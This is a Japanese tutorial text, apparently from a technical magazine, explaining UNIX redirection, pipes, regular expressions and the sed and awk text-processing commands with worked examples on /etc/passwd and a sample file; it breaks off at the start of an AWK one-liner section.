$ cat file   ←fileの内容を表示 
foo
bar
$ cat output   ←outputの内容を表示 
foo
bar

図5　リダイレクトで入力元と出力先に同じファイルを指定 ▼

$ cat < file > file   ←入力元と出力先に同じファイルを指定 
$ cat file
$            ←ファイルの中身は何もない 
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力がcommandBの標準入力として利用されます。
パイプの中を流れるデータはストリームと呼ば
れ、単なるバイト列として扱われますので、行
などデータの区切りという概念はありません。
　空のパイプからの読み込みは、（パイプの入
力側からデータが入力されて）データの読み出
しが可能になるまで、読み込み処理がブロック
されます。また、出力側のコマンドがパイプか
らデータを読み込まないなどの理由によって、
OSが内部でパイプのために保持しているバッ
ファが一杯になった場合は、（パイプの出力側
からデータが読み込まれてバッファに空きがで
きるまで）パイプへの書き込み処理はブロック
されます。
　このようにパイプを利用して複数のコマンド
を組み合わせて使うときには、多くのコマンド
でデータをスムーズに扱えるように、一般的な
アスキーコードのみで構成されたテキストデー
タが多用されます。何らかのエラーが発生した
場合もパイプを流れるデータの流れを阻害しな
いように、エラーメッセージは標準出力ではな
く標準エラー出力に出力されます。
　標準入力から入力されたデータを加工して標

準出力に出力するコマンドのことをフィルタコ
マンドと呼びますが、今回紹介するsedやawk

もこのストリームを流れるデータを加工するた
めのテキスト加工フィルタコマンドとして作成
されました。

　sedやawkの基本的な機能は、どちらも標準
入力から入力されたテキストデータを加工して
標準出力に出力することです。それでは、なぜ
同じ基本機能を有するコマンドが複数存在する
のでしょうか。

sed

　まずsedですが、名前はStream EDitorから
来ていると言われています。その名のとおり、
ストリームを流れるテキストデータを加工する
ためのエディタとして設計されました。ですの
で、sedは基本的に入力データを行単位で扱い
ます。たとえば入力された行を正規表現でマッ
チして置換するなどの用途に威力を発揮します。
分岐やパターンスペースと呼ばれる一種の変数

sedとawk

図6　sedによる置換 ▼

$ cat /etc/passwd   ←元のファイルを表示 
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/bin/bash
nobody:x:99:99:Nobody:/:/bin/bash

$ cat /etc/passwd ¦ sed "s!/bin/bash$!/usr/local/bin/bash!g"   ←sedで文字列を置換 
root:x:0:0:root:/root:/usr/local/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/usr/local/bin/bash
nobody:x:99:99:Nobody:/:/usr/local/bin/bash
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も利用できるのですが、使い方が若干わかりづ
らいので、それほど利用されていないようです
（と筆者は思っています）。
　/etc/passwdファイルで、「/bin/bash」と指定
されているログインシェルをすべて「/usr/

local/bin/bash」に置換して表示する例を図6に
示します。catの出力をパイプで sedに渡して
置換処理を行っています注1。/etc/passwdでは
ログインシェルは最後の項目ですので、/bin/

bashで終了している行を sedの s演算子で /

usr/local/bin/bashに置換しています。置換対
象となる/bin/bashが行末にあることを最後の
$で示していますので、行の途中に/bin/bash

が現れても置換の対象にはなりません。この例
では置換対象の文字列に/が含まれているため、
標準的なsedのパターン記述に使う/ではなく!
を使ってパターンを記述しています。

awk

　対してawkは入力されたデータをあらかじめ
フィールド単位に分割します。何も指定しない
場合は入力データに含まれるスペースかタブを
区切り文字として、入力データをフィールドに
分割し、フィールド単位でのデータ加工が容易

注1） 本来はsedにファイルを直接指定できるのですが、パイプ
を利用する意味であえてcatと一緒に利用しています。

です。
　また、sedよりもよりプログラミング言語に
近い文法で処理が記述でき、正規表現による文
字列操作や簡単な数学関数の機能も内蔵されて
います。プログラミング言語の基本機能を分岐、
繰り返し、変数の利用とした場合、awkはそれ
らをすべて利用できるので完全なプログラミン
グ言語と言えます。実際に筆者はawkの機能だ
けで簡単な構文解析ツールを作成しました注2。
　先ほどのsedの例と同じ/etc/passwdファイ
ルで、ログインシェルごとのユーザ数を集計す
る例を図7に示します。BEGIN節では入力行
を読み込む前に実行する処理を記述できます。
/etc/passwdは:でフィールドが区切られてい
ますのでFS=":"でフィールドの区切り文字を:
に変更しています。次のメインの処理部はすべ
ての入力行について以下の処理が繰り返し実行
されます。awkでは、入力行のフィールドの数
はNFという変数に格納されていますが、$NF

とすることで最後のフィールドの値を参照でき
ます。この場合は最後のフィールドにログイン
シェルが格納されていますので、ログインシェ
ルをインデックスとした連想配列shellsの値に
1を加算しています。END節はすべての入力

注2） http: / /b log.bsdhack.org/ index.cgi /Computer/
20110225.html

図7　awkによる集計プログラム ▼

$ awk '
  BEGIN{
    FS=":"   ←フィールド区切りを':'に変更する 
  }
  {
    shells[$NF]++;   ←連想配列の値に1を加算する 
  }
  END{
    for(i in shells)
      print i ": " shells[i];   ←連想配列の値をすべて表示する 
  }' /etc/passwd
/sbin/shutdown: 1
/bin/bash: 3
/sbin/nologin: 4
/sbin/halt: 1
/bin/sync: 1

http://blog.bsdhack.org/index.cgi/Computer/20110225.html
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行の読み込みが完了したあとに実行する処理を
記述できますので、今回は集計結果となる
shells連想配列の中身をすべて表示します。

◆　◆　◆
　このようにsedとawkにはそれぞれ得意な分
野がありますので、処理の内容や利用者の好み
で使い分けると良いと思います。

　sedもawkも非常に重要な要素として正規表
現の利用が挙げられます。正規表現とは汎用的
なパターン記法によって文字の並びを表現する
手法の1つです。文字の並びを表現するときに、
メタキャラクタと呼ばれる特殊な記号を使って
パターンとして指定する方法で、正規表現を利
用することで完全には一致しない文字の並びに
柔軟に対応できます。UNIXでは当初よりさま
ざまなコマンドでこの正規表現が活用されてい
ました。
　正規表現で利用されるメタキャラクタには.や
*、^、$、[と]などがあって、それぞれ特殊
な意味を持ちます（表1）。正規表現は非常に高
度な理論に基づいていて奧が深く、詳しく解説
するとそれだけで1冊の本が書けてしまうほど
ですので簡単に説明します。
　表1のようなメタキャラクタを利用してパター
ンを記述することで文字列に柔軟にマッチさせ

正規表現

られます。

・.*という正規表現は空文字列を含むすべて
の文字列にマッチします

・https?という正規表現はhttpかhttpsにマッ
チします

・^abcはabcで始まる文字列に、xyz$はxyz
で終了する文字列にそれぞれマッチします

・foo[135]はfoo1、foo3、foo5のいずれか
にマッチします

　sedやawk以外にも正規表現を利用している
コマンドは数多くあります。ちょっと難易度は
高いのですが、正規表現を使いこなせるように
なるとUNIXの世界が大きく広がると思います。
　たとえばよく利用されるgrepコマンドも正
規表現を活用しています。そもそもgrepとい
う言葉自体がedというエディタのコマンド文
法を示しており、g（Global＝ファイル全体を
対象）にre（Regular Expression＝正規表現）を
p（Print＝表示）することを表しています。
　sedとawkの例と同じ/etc/passwdファイル
で、bashを含む行をedコマンドで表示する例
を図8に示します。edエディタのコマンドとし
てg/bash/pを実行して、ファイル全体から
bashという正規表現を含む行を表示しています。
edはエディタですので通常は対話的に利用し
ますが、そこはUNIXのコマンドだけあって標
準入力からコマンドを受け付けるというフィル
タ的な動作も可能です。標準入力からエディタ
コマンドのg/bash/pを受け取って動作します。
　なぜエディタのコマンドが独立したコマンド
として作られたのでしょうか？　それは非常に
便利で有意義なコマンドだからです。ファイル
の中からパターンにマッチする行を抽出するの
は、コンピュータでいろいろな作業をしている
ときに多用する処理です。「grepのない環境で
作業なんかできない」とUNIXを使ったことの

そのほかのコマンド

メタキャラクタ 意味
. 改行以外の任意の1文字にマッチ

する
* 直前の正規表現の0回以上の繰り

返しにマッチする
+ 直前の正規表現の1回以上の繰り

返しにマッチする
? 直前の正規表現に0回か1回マッ

チする
^ 行頭にマッチする
$ 行末にマッチする
[ ] 間に書かれたいずれかの1文字に

マッチする

表1　代表的な正規表現のメタキャラクタ ▼
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ある方ならどなたでも思うでしょう。それほど
便利で汎用性が高いコマンドだからこそ簡単に
利用するために独立したコマンドとして生まれ、
生き残りました。最初に書いた「シンプルで単
機能なコマンド」の思想にもピッタリマッチし
ます。
　図8の例と同じ /etc/passwdファイルで、
bashを含む行をgrepコマンドで表示する例を
図9に示します。解説するまでもありませんが、
ファイル全体からbashという正規表現を含む
行を表示しています。edコマンドを利用して
同じことをするよりも断然簡単に実行できてい
ます。
　似たようなコマンドは他にもたくさんありま
す。たとえば trコマンドは入力された文字列
を置換するコマンドですが、このコマンドは

sedのサブセットだと言えます。このコマンド
もやはりsedの機能から一番多く使われる文字
列の置換機能だけが「シンプルで単機能なコマ
ンド」として抜き出されました。このように
UNIXにはすでにあるコマンドの一部の機能だ
けを抜き出して専用に実行できるようにしたコ
マンドがいくつもあります。

　標準入出力、パイプ、正規表現とUNIXの持っ
ている特徴的な機能を駆け足で紹介してきまし
た。誌面の都合もあり、それぞれの機能につい
て詳しく解説できませんが、UNIXが提供する
便利で強力な機能に少しでも興味を持っていた
だけたら幸いです。ﾟ

まとめ

図8　edによる行の抽出 ▼

$ echo "g/bash/p" ¦ ed -s /etc/passwd
root:x:0:0:root:/root:/bin/bash
uucp:x:10:14:uucp:/var/spool/uucp:/bin/ｭ
bash
nobody:x:99:99:Nobody:/:/bin/bash

図9　grepによる行の抽出 ▼

$ grep "bash" /etc/passwd
root:x:0:0:root:/root:/bin/bash
uucp:x:10:14:uucp:/var/spool/uucp:/bin/ｭ
bash
nobody:x:99:99:Nobody:/:/bin/bash

UNIXと文字コードCOLUMN

　UNIXはもともとアメリカで開発されたOSですの
で、1バイトは当然1文字として扱われてきました。
しかし、日本語や中国語などは漢字を含めると何千
何万も文字がありますので、1バイトでは到底すべ
ての文字を表せません。そのため2バイト以上を使っ
て1文字を表すような文字コードが工夫されてきま
した。
　文字コードの中で当初UNIXで一番使われてきた
のは、EUC（Extended UNIX Code）という文字コー
ドです。日本語のひらがな、カタカナ、代表的な漢
字を2バイトで表現するように構成され、英数字と
日本語の区別もしやすいので、とくにUNIX環境で
日本語を表現するために多く利用されていました。
最近ではUTF-8と呼ばれる文字コードが台頭してき
ており、Mac OS Xや一部のLinuxディストリビュー

ションではUTF-8が標準の文字コードとして採用さ
れています。
　以前はUNIX環境で日本語などのマルチバイト文
字を使うのは非常に困難だったうえに、そもそもマ
ルチバイト文字にまったく対応していないコマンド
などもありました。しかし、最近はLANG環境変数
に適切な値を設定して、システムやコマンドに使っ
ている文字コードを通知することで、ほとんどのコ
マンドで正しくマルチバイト文字を扱えます。たと
えば日本語環境で文字コードにUTF-8を使用してい
る場合はLANGに ja_JP.UTF-8を指定すれば、ほとん
どのコマンドは正しくマルチバイト文字を扱えるよ
うになります。本編で取り上げた sedやawkなども
もちろん正しくマルチバイト文字を扱えます。
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　sedは手軽で強力なテキスト処理ツールです。
その起源は古く、1973年までさかのぼります。
UNIX系OSなら標準コマンドとして組み込ま
れているため、イザというときに役立ちます。
sedの使い方をすべて憶えておかなくても、基
本的な使い方をいくつか身に付けておくだけで、
日々の業務や障害対応に十分活用できます。
　sedの名称が「Stream Editor（ストリームエ
ディタ）」に由来しているとおり、sedは入力ス
トリームに対し、あらかじめ用意された処理を
一括で実行するエディタです。viやEmacsの
ような「対話式エディタ」のように画面を見なが
ら文章を編集することはできませんが、編集作
業の内容を「コマンド」として列挙しておくこと
で、テキス卜の加工を一括して行うことができ
ます。そのため一連のファイルに同じような変
更を繰り返し加えるような用途に適しています。
　また標準入力からデータを受け取ることがで
きるため、対象データをいちいちファイルとし
て保存する必要はありません。たとえばパイプ
ラインでほかのコマンドが出力した結果をsed

で処理できます。
　本章ではUbuntu 13.04にインストールされ
ているGNU sed 4.2.1を使用しています。OS 

XやFreeBSDのようなBSD系UNIXには、
BSD sedがインストールされています。その

はじめに
ためいくつかのコマンドラインオプションが本
章で使用しているGNU sedと異なる場合があ
ります。使用している sedのバージョンは、
「--version」オプションで確認できます。

　さっそく基本的な使い方を見て行きましょう。
実際にsedを使って、テキストファイルにフィ
ルタ処理を加えます。リスト1のような元ファ
イルを用意し、次のようにsedを実行すると、
文書の一部が置換されたものが標準出力に表示
されます。

　sedは指定されたファイルを1行ずつ読み込
み、与えられた条件にしたがい処理を加えます。
sedを「ワンライナー（1行スクリプト）」として
使うには、「-e」オプションに続けて、処理内容
をスクリプトとして記述します。「-f」オプショ

$ sed --version
GNU sed バージョン 4.2.1
...省略...

$ sed -e 's/bbb/eee/' input.txt
aaaeeecccddd aaabbbcccddd
AAABBBCCCDDD aaaeeecccddd  ←bbbをeeeに変換 
1234567890!? !"#$%&'()?/_

 ▼リスト1　元ファイル（input.txt）

aaabbbcccddd aaabbbcccddd
AAABBBCCCDDD aaabbbcccddd
1234567890!? !"#$%&'()?/_

sedと聞いて思い浮かべるのは、簡単な置換ができるテキストフィルタといったものでしょう。しかし、文字列
や文字の置換だけではなく特定の行の処理や削除、スクリプトファイルによる処理、分岐やループ処理などいろ
いろなことができます。本章ではそんなsedの使い方をおさらいします。

sedの詳細と利用法
  Writer    鶴長 鎮一（つるなが しんいち）／book.nospam@tsurunaga.jp（.nospamを取ってください）

手軽で強力なテキスト処理ツール
第2章
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ンに替えることで、あらかじめ用意したスクリ
プトファイルを読み込ませることもできます。
処理結果をファイルに出力するには、「>」でリ
ダイレクションします。

　出力された文章を見ると、1行の中に一致す
るパターンが2ヵ所あっても、最初のものしか
変換していません。1行目前半の「bbb」は「eee」
に変換されますが、後半のものは「bbb」のまま
です。一致したパターンすべてを変換するには、
「g」フラグを末尾に加えます。

　これがsedで最も使われる形式です。さらに
変更対象を特定の行に限定できます。たとえば
input.txtの2行目だけ文章を置換させるには、
「アドレス」を指定します。

　一般的にファイル全体に対して処理を行うこ
とが多いため、アドレスを用いる機会は多くあ
りませんが、ログデータのような強大なファイ
ルを分割編集するのに便利です。
　ここまでの話を整理しましょう。図1の形式

$ sed -e 's/bbb/eee/' input.txt > ｭ
output.txt

$ sed -e 's/bbb/eee/g' input.txt
aaaeeecccddd aaaeeecccddd
...省略...

$ sed -e '2s/bbb/eee/g' input.txt
aaabbbcccddd aaabbbcccddd
AAABBBCCCDDD aaaeeecccddd
1234567890!? !"#$%&'()?/_

がsedをワンライナーとして使う際の基本形に
なります、スクリプト／アドレス／コマンドと
いったsed独特の用語を押さえたうえで具体的
な使用方法を見ていきましょう。

　1行スクリプトやスクリプトファイルの中で
使用できる各種コマンドやアドレス指定につい
て解説します。

コマンド

　ここまでに紹介した sedの実行例では、「s」
コマンドを用いて文字列を置換しました。この
ほかにも「d（削除）／p（データ出力）／y（1文字
置換）／w（ファイル出力）／ n（データ入力）」 
など、さまざまなコマンドが使用できます。こ
こではおもに使用するs／y／dについて解説し
ます。

sコマンド（文字列置換）
　sedで頻繁に使用されるコマンドです。ある
文字列を別の文字列に置換する場合に使用しま
す。基本的な書式は次のとおりです。

　「置換後」と「フラグ」は省略でき、置換後の文
字列を省略するとマッチした文字列が削除され
ます。

sedの使い方

$ sed -e 's/置換元/[置換後]/[フラグ]' ｭ
入力.txt

 ▼図1　sedの基本形

起動オプション

sed -e  '開始行,終了行 s/ 検索文字列 /置換文字列/g'    入力.txt > 出力.txt 

スクリプト（「’」で囲む）

コマンド フラグ

 ← すべてのbbbが
eeeに置換

 ← 2行めのbbbだけ
eeeに置換
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　「置換元」には正規表現を用いることができま
す。置換元の文字列中に「/」を含む場合、その
前に「\（バックスラッシュ）」を付けエスケープ
処理します。置換後の文字列も同様です。

　またセパレータ（区切り文字）を「/」以外に変
更することもできます。それには「s」の後ろに
セパレータとなる文字を指定します。たとえば
「/usr/local」を「/usr」に置き換えたい場合には、
セパレータを「!」に変更し次のように実行します。

　記号以外にアルファベットをセパレータとし
て使用することもできますが、置換文字列と見
分けがつきにくくなるため、なるべく「/」や「#」
といった記号を使うようにします。
　「置換後」の中で「&」を指定すると、照合した
文字列をそのまま出力します。次の例では「aaa」
を「+aaa+」に置換しています。

　置換元の正規表現と併せて使用すると便利で
す。正規表現にマッチした文字列を「&」で引用
できます。たとえば次のように実行すると、「.*」
にマッチした文字列を「&」で表すことがで 

き、「output: &」とすることで、各行の行頭に
「output:」を付けることができます。

$ sed -e 's/aaa//g' input.txt
bbbcccddd bbbcccddd    ←aaaが削除されている 
AAABBBCCCDDD bbbcccddd
1234567890!? !"#$%&'()?/_

$ sed -e 's/¥//R/' input.txt
...省略...
1234567890!? !"#$%&'()?R_  ←/がRに置換 

$ sed -e 's!/usr/local!/usr!g' sample.txt

$ sed -e 's/aaa/+&+/g' input.txt
+aaa+bbbcccddd +aaa+bbbcccddd　
AAABBBCCCDDD +aaa+bbbcccddd　
...省略...

　特別な処理をさせず、「&」文字そのものに置
換したい場合、「\」でエスケープ処理し「\&」と
指定します。「\」に置換したいときは「\\」と指
定します。セパレータが「/」のとき、「/」文字に
置換したいときは「\/」と指定します（図2）。
　フラグには「g（Global：対象をすべての文章に）
／p（Print：置換された結果を表示）／w（Write：
ファイル出力）」を指定します。同時に複数指定
することもできます。「g」フラグはすでに説明
したとおり、文章全体を置換する際に指定しま
す。代わりに「-g」オプション付きでsedを起動
しても、同じように働きます。

　「p」フラグは置換された行だけ表示しますが、
sedはデフォルトで入力されたデータを置換の
有無に関わらず標準出力に表示するため、pフ
ラグを付けただけでは、同じものが2行出力さ
れます。置換された行だけ表示したい場合は、
sedを「-n」オプション付きで起動し、標準出力
を抑制します。

$ sed -e 's/.*/output: &/g' input.txt
output: aaabbbcccddd aaabbbcccddd
output: AAABBBCCCDDD aaabbbcccddd
...省略...

$ sed -e 's/bbb/eee/g' input.txt
$ sed -g -e 's/bbb/eee/' input.txt
 ↑上2行は同じ結果になる 

 ▼図2　「&」「\」「/」を置換後文字列に指定

●「&」に置き換え
$ sed -e 's/b/¥&/g' input.txt
aaa&&&cccddd aaa&&&cccddd ...
●「¥」に置き換え
$ sed -e 's/b/¥¥/g' input.txt
aaa¥¥¥cccddd aaa¥¥¥cccddd ...
●「/」に置き換え
$ sed -e 's/b/¥//g' input.txt
aaa///cccddd aaa///cccddd ...
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　置換した結果をファイルに書き出すには「w」
フラグを使用します。wのあとには出力するファ
イル名を指定します。

　この場合output.txtにはマッチした行しか出
力されません。マッチしなかったほかの行も併
せて出力するなら、「w」コマンドを使ったほう
が簡単です。

　「-e スクリプト」が複数指定されていますが、
sedは1つの入力に対し複数のスクリプトを実
行できます。詳細は後述します。

yコマンド（一文字置換）
　ある1文字を別の1文字に置換する場合に使
用します。基本的な書式は次のとおりです。

　「置換元」、「置換後」ともに省略することはで
きません。1文字だけ置換するならsコマンド
でもできますが、yコマンドなら複数の文字を
同時に置き換えることができます。たとえば
a⇒x、b⇒y、c⇒zを一度で置き換えるには、
次のように指定します。

　置換元中の置換前文字の位置と置換後中の置
換後文字の位置が同じになるようにします。そ

$ sed -n -e 's/bbb/eee/p' input.txt
aaaeeecccddd aaabbbcccddd
AAABBBCCCDDD aaaeeecccddd

$ sed -e 's/aaa/eee/gw output.txt' ｭ
input.txt

$ sed -e 's/aaa/eee/g' -e 'w output.txt'ｭ
input.txt

$ sed -e 'y/置換元/置換後/' 入力.txt

$ sed -e 'y/abc/xyz/' input.txt
...
xxxyyyzzzddd xxxyyyzzzddd
...

のため、置換元と置換後の長さが同じでないと
エラーになります。たとえばアルファベット小
文字を大文字に置換するには次のようにします。

dコマンド（削除）
　dコマンドは指定された行を消去し、残った
行を出力します。たとば1～2行目を削除する
には、次のようにします。

　「アドレス」を使って行番号を指定しますが、
省略もできます。省略するとすべての行が削除
されるため何も出力されません。

　なおdコマンドを実行しただけでは、元の入
力ファイルはそのままです。削除されたもので
上書きされることはありません。

アドレス

　特定の行だけ処理を加えるには、「アドレス」
を使用します（表1）。アドレスを省略すると、
すべての入力行が処理対象となります。アドレ
スが1つだけ指定された場合、指定行のみが処
理対象となり、アドレスが「,」区切りで2つ指
定されると範囲指定とみなされ、1つめの行数
から2つめの行数までが処理対象となります。
2つめの数字が1つめと同じか小さい場合、1

つめに指定した1行だけが対象になります。最
終行は「$」で指定します。

$ sed -e 'y/abcdefghijklmnopqrstuvwxyz/
ABCDEFGHIJKLMNOPQRSTUVWXYZ/' input.txt

$ sed -e '1,2d' input.txt
1234567890!? !"#$%&'()?/_

$ sed -e 'd' input.txt
 ↑何も表示されない 

$ sed -n -e '1,3p' input.txt  ←1～3行を表示 
$ sed -n -e '2,$p' input.txt 
 ↑2～最終行を表示 

 　置換された行
 ←だけ表示
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　アドレスには数字以外にも、正規表現を用い
ることができます。たとえば「aaa」で始まる行
から「ddd」で終わる行までを対象にするには、
次のようにします。

　終了行に指定したパターンと一致するものが
なければ、入力されたデータの終端（最終行）ま
でが対象になります。終了行に一致するものが
見つからないうちに開始行に一致するパターン
が再度現れても無視されます。

　sedにはほかにも多くのオプションがあり、
より複雑なスクリプトを組み立てることができ
ます。一度に複数のコマンドを実行したり、入
力ファイルを上書きしたり、バックアップファ
イルを作成したりと、ワンライナーに便利なオ
プションが多数あります。

複数のコマンドを指定する

　ここまでに紹介したsedの実行例では、一度
に1つのコマンドしか実行していませんが、複
数のコマンドを実行することもできます。それ
にはコマンドとコマンドを「;（セミコロン）」で
区切ります。削除のdコマンドと文字列置換の
sコマンドを合わせて実行するには次のように

$ sed -n -e '/^aaa/,/ddd$/p' input.txt
aaabbbcccddd aaabbbcccddd
AAABBBCCCDDD aaabbbcccddd

ワンライナーに 
便利なオプション

します。

　上の実行例では入力データに対し、2行目を
削除した後、aaaをeeeに置換します。2個以上
のコマンドが指定されている場合、ファイルの
どの行にも各コマンドが (順番に ) 適用されま
す。入力データの全行に対し1つめのコマンド
を実行した後2つめのコマンドが実行されるわ
けではありません。上の例では、1行目に対し
dコマンドが適用され、次にsコマンドが適用
されます。その後2行目に対し、dコマンドと
sコマンドを実行します。これを最終行まで繰
り返します。
　コマンドを連ねる方法はほかにもあります。
sedの起動オプションとして、「-e 'スクリプト '」
を複数個指定することで、複数のコマンドを実
行できます。

ファイル出力

　処理結果をファイルに書き出すには、「>」で
ファイルにリダイレクションするか、wコマン
ドでファイルに書き出しますが、sedの起動オ
プションに「-i」を加えることで、元の入力ファ
イルを上書きできます。

　さらに、処理前のデータをバックアップファ
イルに残しておくこともできます。それには、
「-i」オプションに続けて、バックアップファイ
ルのファイル名末尾に加えるサフィックスを指
定します。たとえば「.bak」をサフィックスとし
て、バックアップファイルを作成するには次の

$ sed -e '2d;s/aaa/eee/g' input.txt
eeebbbcccddd eeebbbcccddd
1234567890!? !"#$%&'()?/_

$ sed -e '2d' -e 's/aaa/eee/g' input.txt
eeebbbcccddd eeebbbcccddd
1234567890!? !"#$%&'()?/_

$ sed -i -e 's/bbb/eee/' input.txt

アドレス例 内容
（指定なし） 全データ
3 3行目
20,$ 20行目から最終行まで
10,5 10行目（2番めの数字のほうが小さい

場合） 
/［̂0-9］/ 先頭文字が数字の行すべて
15,/Z$/ 15行目から最終文字がZで終わる行

まで
5,10! 5～10行目以外の行（1～4行目と11～

最終行）

 ▼表1　アドレス指定の例
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ようにします。

ダブルクォートとシングルクォート

　通常 sedは、Bourne ShellやC Shellといっ
たシェル上で実行します。こうしたシェルでは、
「"（ダブルクォート）／$（ドル）／（̀アクセント）
／\（バックスラッシュ・円記号）」などの文字が
特別な意味を持ちます。そのため、sedでスク
リプトを指定する際、特殊文字を処理しないよ
う「'（シングルクォート）」で囲みます。スクリ
プトに正規表現や記号を使わず、単純な文字列
しか使用しないのなら「'」で囲まなくても処理
できますが、予期せずシェルに解釈されないよ
うシングルクォーテーションを習慣にします。
　ほかにも「"（ダブルクォート）」でスクリプト
を囲むこともできます。「-e "スクリプト "」と
するとシェル変数を使えるようになります。
$USER（ユーザ名）／$HOSTNAME（ホスト名）
／$TERM（端末名）／$PWD（カレントディレ
クトリ）といった変数をパターンとして指定で
きます。

　ユーザ定義変数も使用できます。次の実行例
では、ユーザ変数として「$FROM」と「$TO」を
定義し、sedのスクリプト内で使用しています。
「"」で囲まれているため、シェル変数が展開され、
「s/aaa/eee/g"」に置き換わります。

　文字列が複雑な場合にユーザ定義変数を使う
と、スクリプトがシンプルになります。ダブル

$ sed -i .bak -e 's/bbb/eee/' input.txt
$ ls
input.txt   input.txt.bak
 ↑バックアップファイル（input.txt.bak）が新しくが作成される 

$ sed -e "s/$HOSTNAME/new_hostname/g" ｭ
/etc/hosts
 ↑/etc/hostsの中のホスト名を新しいものに変えて出力 

$ FROM="aaa"
$ TO="eee"
$ sed -e "s/$FROM/$TO/g" input.txt

クォート囲み内で特殊文字を使用する際は、「\」
でエスケープ処理します。

　sedは「スクリプトファイル」を読み込み実行
できます。分岐条件やラベルを使ったループ処
理のような複雑な処理をsedで行ったり、大量
のファイルに対し同じ処理を繰り返し実行する
のに便利です。

スクリプトファイルの
読み込みと実行

　スクリプトファイルを読み込み実行するには、
次のように「-f」オプションを使用します。

　複数の「-f」オプションを指定すると、指定さ
れた順でファイルからスクリプトを読み込み実
行します。「-e」オプションと「-f」オプションは
同時に使用することもできます。スクリプトファ
イルに1処理1行で記述します。

　上のスクリプトファイル（sample.sed）では、
1～3行目に対し置換（aaa→eee）を行い、次に
3行目を削除しています。実行は次のようにし
ます。

コマンドのグループ化

　スクリプトファイルの中で「{...}」を使ってコ
マンドをグループ化すると、1つのアドレスに
対し、複数のコマンドを実行できます。次のス
クリプトファイルでは、1～3行目に対し3つの

スクリプトファイルの
利用

$ sed -f スクリプトファイル 入力ファイル

 ↓以下の内容で「sample.sed」を作成 
1,3s/aaa/eee/g
3d

$ sed -f sample.sed input.txt
eeebbbcccddd eeebbbcccddd
AAABBBCCCDDD eeebbbcccddd
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コマンドを実行しています。

ラベル／分岐処理／ループ処理

　スクリプトの中にラベルを設け、処理をルー
プさせたり、sコマンドによる置換の成否を条
件に処理を分岐したりできます（表2）。sedで
そこまで手の込んだ処理をさせるより、シェル
スクリプトやPerlを使ったほうが生産性が高
いと感じる場面が少なくありませんが、sedで
こうした複雑な処理ができることは憶えておき
ましょう。
　次のスクリプトファイルを実行すると、読み
込んだ行に対し「コマンド1・2」を実行し、「パ
ターン」に一致するものがあれば、「ラベル」に
戻って、次の行を読み込み再び「コマンド1・2」
を実行します。パターンに一致するものがなく
なれば「コマンド3」を実行します。

　次はよく見かけるループ処理の例です。入力
データ中の全改行を削除し文字列を連結します。

1,3{
    s/aaa/eee/g
    y/abc/xyz/
    p
}

:ラベル
コマンド1
コマンド2
/パターン/b ラベル
コマンド3

sedは1行ずつ読み込み、1行ごとに処理する
ため、行をまたぐ処理は不得意ですが、ループ
処理で入力データを1列に連結し、連結した後
一気に改行文字（\n）を削除することで、入力デー
タから改行を削除できます。

　文字列の連結には「N」コマンドを使用してい
ます。条件である「$!b（最終行ではない）」を満
たす間は loopラベルに戻り、処理をループさせ、
ループを抜けたところで「s/\n//g」を実行し改
行文字（\n）を一括削除しています。
　上のスクリプトを「sample2.sed」として保存
し、リスト1の「input.txt」に対して次のように
実行すると、1行に連結された文字列が出力さ
れます。

　sedはさまざまな文字列のフィルタリングに
対応しており、そのすべてを紹介するには誌面
が足りませんが、本パートで解説したものだけ
でも憶えておけば、それだけでも十分活用でき
ます。ﾟ

:loop
N
$!b loop
s/¥n//g

$ sed -f sample2.sed input.txt
aaabbbcccddd aaabbbcccdddAAABBBCCCDDD ｭ
...省略...

指定方法 内容
: label名 ラベルの指定。label名はスクリプトの中でユニーク
b label名 無条件で label名で指定されたコマンドに分岐

条件b label名
入力行が条件を満たす場合、label名で指定されたコマンドに分岐
「/パターン /b label名」 と指定すると、入力行がパターンに一致した場合に、label名で指定さ
れたコマンドに分岐

条件 !b label名
入力行が条件を満たさない場合、label名で指定されたコマンドに分岐
「/パターン /!b label名」 と指定すると、入力行がパターンに一致しなかった場合に、label名
で指定されたコマンドに分岐

t label名 前回の入力行の読み込みや条件分岐が行われたあと、sコマンドによる置換に成功した場合の
み label名で指定されたコマンドへ分岐

T label名 前回の入力行の読み込みや条件分岐が行われたあと、sコマンドによる置換に成功しなかった
場合に label名で指定されたコマンドへ分岐

 ▼表2　ラベル／分岐処理の指定方法
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　AWKの便利さを理解していただくために、ワ
ンライナーとしての利用例をご覧ください。――
と言いたいところですが、AWKを使いこなすた
めには、まずはAWKスクリプトの構造について、
理解していただく必要があります。テキスト処
理が得意なAWKスクリプトは、その他のスクリ
プト言語と少し異なっています。"パターン"と"

アクション"の組がAWKスクリプトの基本です。

　AWKはsedと同様に、行単位で処理対象で
あるか判断します。"パターン "、"アクション
"の組は、「"パターン"にマッチした行に対して、
"アクション "を実施しろ」という意味に解釈さ
れます。パターンを省略した場合には、すべて
の入力列に対してアクションが処理されること
になります。
　AWKの構文、制御構造は、Cなどに似てい
ますので、はじめてAWKスクリプトを見る方
も、だいたいの動作は、わかるかと思います。
ただ、ワンライナーとして使いやすくする意味
も含め、構文解釈上無用なセミコロン ";"や括
弧"("、")"などを省略できるようになっています。
　それでは、AWKのワンライナースクリプトの

AWKのワンライナー
としての使い方

　パターン1 {アクション1}
　パターン2 {アクション2}
　……
　パターンn {アクションn}

例を見てみましょう。コマンド実行時には、AWK

スクリプトと入力テキストファイルを指定します。

　本章のスクリプトは、UNIX Shell系で実行
することを想定しています。ShellにAWKス
クリプト内に出てくる「$,\,"」などの文字を誤認
識させないように、スクリプト全体をシングル
クォート ` ' ́でくくっています。
　inputfi leは省略すれば、/dev/stdinになりま
す。パイプで、別のスクリプトと結合させるな
ら、次のようにします。

　次の①～⑦は、sedやgrepのように、パター
ンにマッチするすべての行を順に表示します。
アクション部分を省略した、最も簡単なAWK

